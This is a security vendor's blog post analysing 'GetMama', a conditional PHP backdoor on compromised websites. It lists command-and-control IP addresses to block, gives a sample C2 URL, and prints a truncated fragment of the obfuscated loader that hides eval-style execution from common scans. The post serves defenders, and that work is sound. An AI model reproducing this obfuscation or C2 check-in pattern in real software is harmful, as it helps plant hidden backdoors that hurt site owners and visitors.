GetMama – Conditional malware affecting thousands of sites

We have been tracking an interesting malware that is affecting thousands of compromised sites. We call it GetMama!!

Why conditional? Because instead of just displaying the malicious code to all the visitors of the web site, it connects back to its command and control server to find out what to do. It also sends back to the attackers the IP address, user agent and referrer of the person visiting the compromised site, so the command and control can determine if it should display the malicious content or not.

It also only displays the malicious content once a day per IP address and only to Windows users.

Why GetMama? Well, that’s how the malware authors called their own function (see sample in the bottom of the post).

COMMAND AND CONTROL (C2) SERVERS

Those are the command and control IP addresses. I recommend checking for traffic to these IP addresses and blocking them if possible:

78.46.173.14
176.9.218.191
91.228.154.254
77.81.241.253
184.82.117.110
46.4.202.93
46.249.58.135
176.9.241.150
46.37.169.56
46.30.41.99
94.242.255.35
178.162.129.223
78.47.184.33
31.184.234.96

For every request to the compromised sites, there will also be a random call to one of those. The called URL would look something like http://31.184.234.96/jedi.php?version=0991&mother=

MALICIOUS CODE

This is final decoded malware that gets executed on the compromised sites. For every request, it connects back to the attackers to determine what to do. The action could be to inject malware in the site, run a command in the server (it also acts as a backdoor) or to do nothing.

HEAVILY ENCODED

Note that the malware will not look like that (all pretty) on the compromised site. It can be encoded like this:

$VDNjO60q6FJNnaRjb6MS3d5d= array(’7920′,’7937′,’7916′,’7927′);$eVlnlmOOZXsWOJTjjxwj=
array(’3733′,’3748′,’3735′,’3731′,’3750′,’3735′,’3729′,’3736′,’3751′,’3744′,’3733′,
’3750′,’3739′,’3745′,’3744′);$albi35lY8fkUqy5DcKtZ2gECZNLn=
array(’5781′,’5780′,’5798′,’5784′,’5737′,’5735′,’5778′,’5783′,’5784′,’5782′,’5794′,
’5783′,’5784′);$aeMTktRM9OsQRAd5bpDQ7Bmj0ASq2z=”ZXZhbChiYXNlNjRfZGVjb2Rl…JYY683″);
$X7ry2SBupAHs89a1Fj06AYlUg2RO3VPSS6hKOI548Dm =
$V6uPJ50EnFVWUclEHg5TEJpQvcBf6g9XduCNpthDY2qI(‘$wnY8xO4XDfHK8pp1a4KS1RtGqo’,
$VyUF5BmxNFlWXVT3P.’(‘.$adCH8mcHCS3Fj8Bq8otsR6Hae.’($wnY8xO4XDfHK8pp1a4KS1RtGqo));’);
$X7ry2SBupAHs89a1Fj06AYlUg2RO3VPSS6hKOI548Dm($aeMTktRM9OsQRAd5bpDQ7Bmj0ASq2z);}

As you can see, its not using any of the normal “eval ( base64_decode” calls that webmasters are used to looking for. This malware has also evolved and it can be hidden in different ways.

We will post more details as we learn more about it.

Note that if your site is compromised, our free sitecheck scanner may miss this type of malware (because of the conditional way it works). If you think you are compromised, only our internal scans can find/clean it up.

Scan your website for free:
About Daniel Cid

Daniel B. Cid is the CTO&Founder of Sucuri and the founder of the open source OSSEC HIDS. His interests range from intrusion detection, log analysis (log-based intrusion detection), web-based malware research and secure development.

You can find more about Daniel at his site dcid.me or on Twitter: @danielcid